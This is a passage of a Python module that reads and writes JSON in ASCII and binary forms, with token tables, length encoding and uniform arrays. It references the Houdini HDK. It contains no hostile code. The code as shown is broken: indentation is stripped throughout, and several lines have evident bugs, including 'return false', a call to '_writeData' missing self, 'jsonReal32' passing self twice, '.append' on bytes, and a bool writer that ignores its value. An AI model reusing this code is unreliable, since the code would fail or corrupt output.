def readF32(self):
'''
Read next 4 bytes as a binary 32-bit float.
Byte swapping is performed depending on endianness of the file.'''
return self._readUnpacked(4, self.FFormats[1])
def readF64(self):
'''
Read next 8 bytes as a binary 64-bit float.
Byte swapping is performed depending on endianness of the file.'''
return self._readUnpacked(8, self.FFormats[2])
def readF16(self):
'''
Read next 2 bytes as a binary 32-bit float (see fpreal16.py)
Byte swapping is performed depending on endianness of the file.
'''
# 16-bit floats require additional conversion
f = self._readUnpacked(2, self.FFormats[0])
if f != None:
f = fpreal16.ItoF16(f)
return f
def binaryString(self):
'''
A binary string is encoded by storing it's length (encoded)
followed by the string data. The trailing <null> character is not
stored in the file.
'''
l = self.readLength()
if l == None:
return None
return self._readBytes(l)
def binaryStringToken(self):
'''
Common strings may be encoded using a shared string table. Each
string token defined (defineToken()) is given an integer "handle"
which can be used to reference the token. Reating a token involves
reading the integer handle and looking up the value in the Tokens
map.
'''
id = self.readLength()
if id == None:
return None
return self.Tokens.get(id, None)
def readLength(self):
'''
In the binary format, length is encoded in a multi-byte format.
For lenthgs < 0xf1 (240) the lenths are stored as a single byte.
If the length is longer than 240 bytes, the value of the first byte
determines the number of bytes that follow used to store the
length. Currently, the only supported values for the binary byte
are:
0xf2 = 2 bytes (16 bit unsigned length)
0xf4 = 4 bytes (32 bit unsigned length)
0xf8 = 8 bytes (64 bit signed length)
Other values (i.e. 0xf1 or 0xfa) are considered errors.
'''
n = self.readU8()
if n != None:
if n < 0xf1: return n
if n == 0xf2: return self.readU16()
if n == 0xf4: return self.readU32()
if n == 0xf8: return self.readI64() # Signed 64 bit int
self.error('Invalid binary length encoding: 0x%02x' % n)
return None
def defineToken(self):
'''
Read an id followed by an encoded string. There is no handle
callback, but rather, the string is stored in the shared string
Token map.
'''
id = self.readLength()
if id != None:
s = self.binaryString()
if s != None:
self.Tokens[id] = s
return True
return False
def undefineToken(self):
''' Remove a string from the shared string Token map. '''
id = self.readLength()
if id != None and self.Tokens.has_key(id):
del self.Tokens[id]
def _binaryToken(self, token):
''' Read a binary token (returns a _jValue or None) '''
while token == JID_TOKENDEF or token == JID_TOKENUNDEF:
if token == JID_TOKENDEF:
if not self.defineToken():
return None
else:
if not self.undefineToken():
return None
token = self.readI8()
if token in { JID_NULL:1,
JID_MAP_BEGIN:1,
JID_MAP_END:1,
JID_ARRAY_BEGIN:1,
JID_ARRAY_END:1 }:
return _jValue(token, None)
if token == JID_BOOL:
byte = self.readI8()
if byte == None:
return None
return _jValue(token, byte != 0)
if token == JID_FALSE:
return _jValue(JID_BOOL, False)
if token == JID_TRUE:
return _jValue(JID_BOOL, True)
if token in _INT_FORMATS:
f = _INT_FORMATS[token]
v = self._readUnpacked(f[0], self.IFormats[f[1]])
if v == None:
return None
return _jValue(JID_INT64, v)
if token in _UINT_FORMATS:
f = _UINT_FORMATS[token]
v = self._readUnpacked(f[0], self.UFormats[f[1]])
if v == None:
return None
return _jValue(JID_INT64, v)
if token in _REAL_FORMATS:
f = _REAL_FORMATS[token]
v = self._readUnpacked(f[0], self.FFormats[f[1]])
if v == None:
return None
if token == JID_REAL16:
v = fpreal16.ItoF16(v)
return _jValue(JID_REAL64, v)
if token == JID_STRING:
v = self.binaryString()
if v == None:
return None
return _jValue(JID_STRING, v)
if token == JID_TOKENREF:
v = self.binaryStringToken().decode("UTF-8")
if v == None:
return None
return _jValue(JID_STRING, v)
if token == JID_UNIFORM_ARRAY:
byte = self.readI8() # Read the type information
if byte == None:
return None
length = self.readLength()
if length == None:
return None
v = _jValue(JID_UNIFORM_ARRAY, length)
v.Type = byte
return v
self.error("Invalid binary token: 0x%02x" % token)
return None
def _readQuotedString(self):
''' Read a quoted string one character at a time '''
word = b""
while True:
c = self._readBytes(1)
if c == None:
self.error('Missing end-quote for string')
return None
if c == b'\\':
c = self._readBytes(1)
if c in b'"\\/': word.append(c)
elif c == b'b': word.append('\b')
elif c == b'f': word.append('\f')
elif c == b'n': word.append('\n')
elif c == b'r': word.append('\r')
elif c == b't': word.append('\t')
elif c == b'u':
if self._readBytes(4) == None:
return False
self.error('UNICODE string escape not supported')
else:
word.append('\\')
word.append(c)
elif c == b'"':
return word.decode("UTF-8")
else:
word += c
def _readNumber(self, char):
'''
Catch-all parsing method which handles
- null
- true
- false
- numbers
Any unquoted string which doesn't match the null, true, false
tokens is considered to be a number. We throw warnings on
non-number values, but set the value to 0. This is not ideal since
a NAN or infinity is not preserved.
Other implementations may choose to handle this differently.
'''
#word = []
word = b''
real = False
while True:
#word.append(char)
word += char
char = self._readBytes(1)
if char == None:
break
if char in b' \r\n\t/{}[],:"':
self._putBack(char)
break
if char in b'.eE':
real = True
if len(word) == 0:
return None
word = word.decode("UTF-8")
#word = ''.join(word)
if word == 'null':
return _jValue(JID_NULL, None)
if word == 'false':
return _jValue(JID_BOOL, False)
if word == 'true':
return _jValue(JID_BOOL, True)
if word in _NAN:
# This is a special nan/infinity token.
# 1e1000 turns into an # infinity in Python (2.5 at least).
return _jValue(JID_REAL64, 1e1000)
if real:
try:
n = float(word)
except:
n = 0
self.error('Error converting real: "%s"' % word)
self.ParseError = True
return _jValue(JID_REAL64, n)
try:
n = int(word)
except:
n = 0
self.error('Error converting int: "%s"' % word)
self.ParseError = True
return _jValue(JID_INT64, n)
def _asciiToken(self, char):
''' Read an ASCII token (returns a _jValue or None) '''
while char in b' \r\n\t':
char = self._readBytes(1)
if char == None:
return None
if char == b'/':
char = self._readBytes(1)
if char == b'/': # We support // style comments
while char != None:
char = self._readBytes(1)
if char == b'\n' or char == b'\r':
return self._readToken()
return None
if char == b'{': return _jValue(JID_MAP_BEGIN, None)
if char == b'}': return _jValue(JID_MAP_END, None)
if char == b'[': return _jValue(JID_ARRAY_BEGIN, None)
if char == b']': return _jValue(JID_ARRAY_END, None)
if char == b',': return _jValue(JID_VALUE_SEPARATOR, None)
if char == b':': return _jValue(JID_KEY_SEPARATOR, None)
if char == b'"':
v = self._readQuotedString()
if v == None:
return None
return _jValue(JID_STRING, v)
return self._readNumber(char)
def _readToken(self):
''' Read a single token from the JSON Stream '''
char = self._readBytes(1)
if char == None:
return False;
byte = struct.unpack(self.UFormats[0], char)[0]
if byte == JID_MAGIC:
magic = self.readU32()
if magic == None:
return False
if magic == BINARY_MAGIC:
self.Binary = True
elif magic == BINARY_MAGIC_SWAP:
self.Binary = True
self._swapFormats()
else:
self.error('Bad magic number 0x%08x' % magic)
return False
return self._readToken()
if self.Binary:
return self._binaryToken(byte)
else:
return self._asciiToken(char)
class _bWriter:
''' Binary JSON Writer '''
def __init__(self, fp, options):
self.Fp = fp
self.UseTokens = options.get('usetokens', True)
self.Tokens = {}
self.TokenCount = 0
self.I8 = _getIntFormat(1)
self.I16 = _getIntFormat(2)
self.I32 = _getIntFormat(4)
self.I64 = _getIntFormat(8)
self.U8 = _getUIntFormat(1) # For packed bit array/lengths
self.U16 = _getUIntFormat(2) # For packed bit array/lengths
self.U32 = _getUIntFormat(4) # For packed bit array/lengths
self.U64 = _getUIntFormat(8) # For packed bit array/lengths
self.F16 = _getRealFormat(2)
self.F32 = _getRealFormat(4)
self.F64 = _getRealFormat(8)
self.WriteSize = 0
self.WriteCount = 0
self.BitCount = 0
self.BitValue = 0
self.UType = JID_NULL
self.jsonKey = self.jsonString
self.jsonKeyToken = self.jsonStringToken
def jsonMagic(self):
if self._writeId(JID_MAGIC):
return self._writeData( struct.pack( self.U32, BINARY_MAGIC ) )
return False
def jsonNull(self):
return self._writeId(JID_NULL)
def jsonBool(self, value):
return self._writeId([JID_TRUE, JID_FALSE][not value])
def jsonInt(self, value):
if value >= -0x80 and value < 0x80:
id = JID_INT8
data = struct.pack(self.I8, value)
elif value >= -0x8000 and value < 0x8000:
id = JID_INT16
data = struct.pack(self.I16, value)
elif value >= -0x80000000 and value < 0x80000000:
id = JID_INT32
data = struct.pack(self.I32, value)
else:
id = JID_INT64
data = struct.pack(self.I64, value)
if self._writeId(id):
return self._writeData(data)
return False
def jsonReal16(self, value):
''' This implementation does not handle generation of 16 bit reals '''
return self.jsonReal32(self, value)
def jsonReal32(self, value):
if self._writeId(JID_REAL32):
return self._writeData( struct.pack(self.F32, value ) )
return False
def jsonReal64(self, value):
if self._writeId(JID_REAL64):
return self._writeData( struct.pack(self.F64, value ) )
return False
def jsonString(self, value):
if self._writeId(JID_STRING):
if self._writeLength(len(value)):
return self._writeData(value)
return false
def jsonStringToken(self, value):
if not self.UseTokens:
return self.jsonString(value)
id = self.Tokens.get(value, -1)
if id < 0:
id = self.TokenCount
self.Tokens[value] = id
self.TokenCount += 1
if not self._writeId(JID_TOKENDEF):
return False
if not self._writeLength(id):
return False
if not self._writeLength(len(value)):
return False
if not self._writeData(value):
return False
if self._writeId(JID_TOKENREF):
return self._writeLength(id)
return False
def jsonNewLine(self):
pass
def jsonBeginMap(self):
return self._writeId(JID_MAP_BEGIN)
def jsonEndMap(self):
return self._writeId(JID_MAP_END)
def jsonBeginArray(self):
return self._writeId(JID_ARRAY_BEGIN)
def jsonEndArray(self):
return self._writeId(JID_ARRAY_END)
def beginUniformArray(self, length, jid_type):
if jid_type == JID_REAL16:
# Writing of 16-bit floats is not supported in this version
jid_type = JID_REAL32
if not self._startArray(JID_UNIFORM_ARRAY, jid_type):
return False
self.BitCount = 0
self.BitValue = 0
self.WriteSize = length
self.WriteCount = 0
self.UType = jid_type
return self._writeLength(length)
def uniformWriteBool(self, value):
self.BitValue |= (1 << self.BitCount)
self.BitCount += 1
if self.BitCount == 32:
return self._flushBits()
return self.Writer.uniformWriteBool(value)
def uniformWriteInt8(self, value):
return self._uniformData( struct.pack(self.I8, value) )
def uniformWriteInt16(self, value):
return self._uniformData( struct.pack(self.I16, value) )
def uniformWriteInt32(self, value):
return self._uniformData( struct.pack(self.I32, value) )
def uniformWriteInt64(self, value):
return self._uniformData( struct.pack(self.I64, value) )
def uniformWriteReal16(self, value):
# 16-bit real not supported in this version
return self.uniformWriteReal32(value)
def uniformWriteReal32(self, value):
return self._uniformData( struct.pack(self.F32, value) )
def uniformWriteReal64(self, value):
return self._uniformData( struct.pack(self.F64, value) )
def endUniformArray(self):
nwritten = self.WriteCount
while self.WriteCount < self.WriteSize:
if self.UType == JID_BOOL: self.uniformWriteBool(False)
elif self.UType == JID_INT8: self.uniformWriteInt8(0)
elif self.UType == JID_INT16: self.uniformWriteInt16(0)
elif self.UType == JID_INT32: self.uniformWriteInt32(0)
elif self.UType == JID_INT64: self.uniformWriteInt64(0)
elif self.UType == JID_REAL32: self.uniformWriteReal32(0)
elif self.UType == JID_REAL64: self.uniformWriteReal64(0)
else:
return False
if self.UType == JID_BOOL and self.BitCount:
if not self._flushBits():
return False
if not self._finishArray(self.UType):
return False
self.UType = JID_NULL
self.WriteCount = 0
self.WriteSize = 0
return True
def _startArray(self, id, uniform_type=JID_NULL):
if self._writeId(id):
if id == JID_UNIFORM_ARRAY:
return self._writeId(uniform_type)
return True
return False
def _finishArray(self, id):
if id == JID_ARRAY_BEGIN:
# Only emit the end-array when non-uniform arrays
return self._writeId(JID_ARRAY_END)
return True
def _uniformData(self, data):
self.WriteCount += 1
if self.WriteCount > self.WriteSize:
return True
return self._writeData( data )
def _flushBits(self):
data = struct.pack( self.U32, self.BitValue)
if not _writeData( data ):
return False
self.BitCount = 0
self.BitValue = 0
return True
def _writeId(self, id):
return self._writeData( struct.pack(self.U8, id) )
def _writeLength(self, l):
if l < 0xf1:
return self._writeData( struct.pack(self.U8, l) )
if l < 0xffff:
if self._writeData( struct.pack(self.U8, 0xf2) ):
return self._writeData( struct.pack(self.U16, l) )
return False
if l < 0xffffffff:
if self._writeData( struct.pack(self.U8, 0xf4) ):
return self._writeData( struct.pack(self.U32, l) )
return False
if self._writeData( struct.pack(self.U8, 0xf8) ):
return self._writeData( struct.pack(self.U64, l) )
return False
def _writeData(self, data):
self.Fp.write(data)
return True
_ESCAPE_DICT = {
'\\' : '\\\\',
'"' : '\\"',
'\b' : '\\b',
'\f' : '\\f',
'\n' : '\\n',
'\r' : '\\r',
'\t' : '\\t',
}
#_ESCAPE = re.compile(r'[\x00-\x1f\\"\b\f\n\r\t'])
_ESCAPE = re.compile(r'[\x00-\x1f\\"\b\f\n\r\t]')
for _i in range(0x20):
_ESCAPE_DICT[chr(_i)] = '\\u%04x' % _i
def _quoteString(s):
''' Quote a string using JSON rules '''
def replace(m): return _ESCAPE_DICT[m.group(0)]
return ''.join([ '"', _ESCAPE.sub(replace, s), '"' ])
class _aWriter:
''' ASCII JSON Writer '''
def __init__(self, fp, options):
self.Fp = fp
self.Precision = options.get('precision', 12)
self.IndentStep = options.get('indentstep', 8)
self.FirstMap = False
self.Indent = 0
self.IndentString = ''
self.Prefix = None
self.Stack = []
self.NewLine = False
self.jsonReal16 = self.jsonReal
self.jsonReal32 = self.jsonReal
self.jsonReal64 = self.jsonReal
self.jsonStringToken = self.jsonString
self.jsonKeyToken = self.jsonKey
self.uniformWriteBool = self.jsonBool
self.uniformWriteInt8 = self.jsonInt
self.uniformWriteInt16 = self.jsonInt
self.uniformWriteInt32 = self.jsonInt
self.uniformWriteInt64 = self.jsonInt
self.uniformWriteReal16 = self.jsonReal
self.uniformWriteReal32 = self.jsonReal
self.uniformWriteReal64 = self.jsonReal
self.endUniformArray = self.jsonEndArray
def jsonNull(self):
self._prefix()
return self._writeString('null')
def jsonBool(self, value):
self._prefix()
return self._writeString(['true', 'false'][not value])
def jsonInt(self, value):
self._prefix()
return self._writeString('%d' % value)
def jsonReal(self, value):
self._prefix()
return self._writeString('%.*g' % (self.Precision, value))
def jsonString(self, value):
self._prefix()
return self._quotedString(value)
def jsonKey(self, value):
if self.FirstMap:
self._writeString('\n')
self.FirstMap = False
self._prefix()
self._indent()
self.Prefix = None
if not self._quotedString(value):
return False
return self._writeString(_ASCII_KEY_SEPARATOR)
def jsonNewLine(self):
self.NewLine = True
def jsonBeginMap(self):
self.FirstMap = True
self._prefix()
self._pushState(JID_MAP_BEGIN)
return self._writeString('{')
def jsonEndMap(self):
self._popState()
if not self.FirstMap:
if not self._writeString('\n'):
return False
self._indent()
self.FirstMap = False
return self._writeString(['}', '}\n'][len(self.Stack) == 0])
def jsonBeginArray(self):
self._prefix()
self._pushState(JID_ARRAY_BEGIN)
return self._writeString('[')
def jsonEndArray(self):
self._popState()
if self._writeString(']'):
if len(self.Stack) == 0:
return self._writeString('\n')
return True
return False
def beginUniformArray(self, len, type):
return self.jsonBeginArray()
def _setPrefix(self):
n = len(self.Stack) - 1
if n >= 0:
id = self.Stack[n]
self.Prefix = [ ',', ',\n'][id == JID_MAP_BEGIN]
def _indent(self):
return self._writeString(self.IndentString)
def _prefix(self):
if not self.Prefix:
self._setPrefix()
else:
self._writeString(self.Prefix)
if self.NewLine:
if self.Prefix.find('\n') < 0:
self._writeString('\n\t')
self._indent()
self.NewLine = False
return True
def _writeString(self, data):
return self.Fp.write( data ) != len(data)
def _quotedString(self, data):
return self._writeString( _quoteString(data) )
def _pushState(self, id):
self.Indent += self.IndentStep
self.IndentString = '\t'*(self.Indent//8) + ' '*(self.Indent%8)
self.Stack.append(id)
self.Prefix = None
def _popState(self):
if len(self.Stack) < 1:
print('Stack underflow')
return False
self.Stack.pop()
self.Indent -= self.IndentStep
self.IndentString = '\t'*(self.Indent//8) + ' '*(self.Indent%8)
self._setPrefix()
class Writer:
def __init__(self, fp,
binary=False,
precision=12,
indentstep=8,
usetokens=True
):
'''
A class to write JSON (ASCII or binary). Very minimal error
detection is performed.
@param fp An object that has the write() method defined
@param binary Write stream in binary as opposed to ASCII
@param precision ASCII format floating point precision
@param indentstep ASCII format indenting on map objects
@param usetokens Binary format optimization to use string tokens
Houdini HDK Equivalent: UT_JSONWriter
'''
self.Fp = fp
self.Options = {}
self.Options['precision'] = precision
self.Options['indentstep'] = indentstep
self.Options['usetokens'] = usetokens
if binary:
self.Binary = True
self.Writer = _bWriter(self.Fp, self.Options)
self.Writer.jsonMagic()
else:
self.Binary = False
self.Writer = _aWriter(self.Fp, self.Options)
def jsonNull(self):
''' Emit a null token '''
return self.Writer.jsonNull()
def jsonBool(self, value):
''' Emit a true/false token '''
return self.Writer.jsonBool(value)
def jsonInt(self, value):
''' Emit an integer value '''
return self.Writer.jsonInt(value)
def jsonReal16(self, value):
''' Emit a 16 bit real value '''
return self.Writer.jsonReal16(value)
def jsonReal32(self, value):
''' Emit a 32 bit real value '''
return self.Writer.jsonReal32(value)
def jsonReal64(self, value):
''' Emit a 64 bit real value '''
return self.Writer.jsonReal64(value)
def jsonReal(self, value):
''' Emit a real value '''
return self.jsonReal64(value)
def jsonString(self, value):
''' Emit string value. Please use jsonStringToken() instead '''
return self.Writer.jsonString(value)
def jsonStringToken(self, value):
'''
Emit a string token (or string value depending on whether tokens
are enabled)
'''
return self.Writer.jsonStringToken(value)
def jsonKey(self, value):
''' Emit string as a map key. Please use jsonKeyToken() instead '''
return self.Writer.jsonKey(value)
def jsonKeyToken(self, value):
'''
Emit a string token as a map key (may output a string value
depending on whether tokens are enabled)
'''
return self.Writer.jsonKeyToken(value)
def jsonNewLine(self):
''' Emit a new-line or separator '''
return self.Writer.jsonNewLine()
def jsonBeginMap(self):
''' Start a map/object '''
return self.Writer.jsonBeginMap()
def jsonEndMap(self):
''' End a map/object '''
return self.Writer.jsonEndMap()
def jsonBeginArray(self):
''' Start an array '''
return self.Writer.jsonBeginArray()
def jsonEndArray(self):
''' End an array '''
return self.Writer.jsonEndArray()
def beginUniformArray(self, length, jid_type):
'''
Begin an array of uniform values.
@param length The length of the uniform array
@param jid_type The type of items (i.e. JID_INT16)
'''
return self.Writer.beginUniformArray(length, jid_type)
def uniformWriteBool(self, value):
''' Write a bool to the array of uniform values '''
return self.Writer.uniformWriteBool(value)
def uniformWriteInt8(self, value):
''' Write an 8-bit integer to the uniform array '''
return self.Writer.uniformWriteInt8(value)
def uniformWriteInt16(self, value):
''' Write a 16-bit integer to the uniform array '''
return self.Writer.uniformWriteInt16(value)
def uniformWriteInt32(self, value):
''' Write a 32-bit integer to the uniform array '''
return self.Writer.uniformWriteInt32(value)
def uniformWriteInt64(self, value):
''' Write a 64-bit integer to the uniform array '''
return self.Writer.uniformWriteInt64(value)
def uniformWriteReal16(self, value):
''' Write a 16-bit real to the uniform array '''
return self.Writer.uniformWriteReal16(value)
def uniformWriteReal32(self, value):
''' Write a 32-bit real to the uniform array '''
return self.Writer.uniformWriteReal32(value)
def uniformWriteReal64(self, value):
''' Write a 64-bit real to the uniform array '''
return self.Writer.uniformWriteReal64(value)
def endUniformArray(self):
''' End the uniform array '''
return self.Writer.endUniformArray()
def _jsonUniformArray(self, jid_type, value, method):
''' Internal convenience function to handle uniform arrays '''
if not self.beginUniformArray(len(value), jid_type):
return False
for v in value:
if not method(v):
return False
return self.endUniformArray()
def jsonUniformArrayBool(self, value):
''' Convenience method to output an entire array of bools '''
return self._jsonUniformArray(JID_INT8, value, self.uniformWriteBool)
def jsonUniformArrayInt8(self, value):
''' Method to output an entire array as 8-bit signed integers '''
return self._jsonUniformArray(JID_INT8, value, self.uniformWriteInt8)
def jsonUniformArrayInt16(self, value):
''' Method to output an entire array as 16-bit signed integers '''
return self._jsonUniformArray(JID_INT16, value, self.uniformWriteInt16)
def jsonUniformArrayInt32(self, value):
''' Method to output an entire array as 32-bit signed integers '''
return self._jsonUniformArray(JID_INT32, value, self.uniformWriteInt32)
def jsonUniformArrayInt64(self, value):
''' Method to output an entire array as 64-bit signed integers '''
return self._jsonUniformArray(JID_INT64, value, self.uniformWriteInt64)
def jsonUniformArrayReal16(self, value):
''' Method to output an entire array as 16-bit floats '''
return self._jsonUniformArray(JID_REAL16, value,self.uniformWriteReal16)
def jsonUniformArrayReal32(self, value):
''' Method to output an entire array as 32-bit floats '''
return self._jsonUniformArray(JID_REAL32, value,self.uniformWriteReal32)
def jsonUniformArrayReal64(self, value):
''' Method to output an entire array as 64-bit floats '''
return self._jsonUniformArray(JID_REAL64, value,self.uniformWriteReal64)
def getBinary(self):
''' Returns whether the writer is binary or ASCII '''
return self.Binary
| 2.140625 | 2 |